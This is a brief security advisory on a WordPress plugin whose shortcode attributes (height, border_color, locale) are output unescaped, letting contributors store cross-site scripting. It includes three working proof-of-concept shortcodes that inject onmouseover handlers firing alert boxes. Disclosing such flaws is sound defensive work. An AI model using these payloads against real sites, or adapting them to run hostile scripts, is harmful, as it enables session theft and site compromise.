The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
[wpdevart_like_box height='" onmouseover="alert(/XSS-1/)"']
[wpdevart_like_box border_color='" onmouseover="alert(/XSS-2/)//']
[wpdevart_like_box locale='" onmouseover="alert(/XSS-3/)//']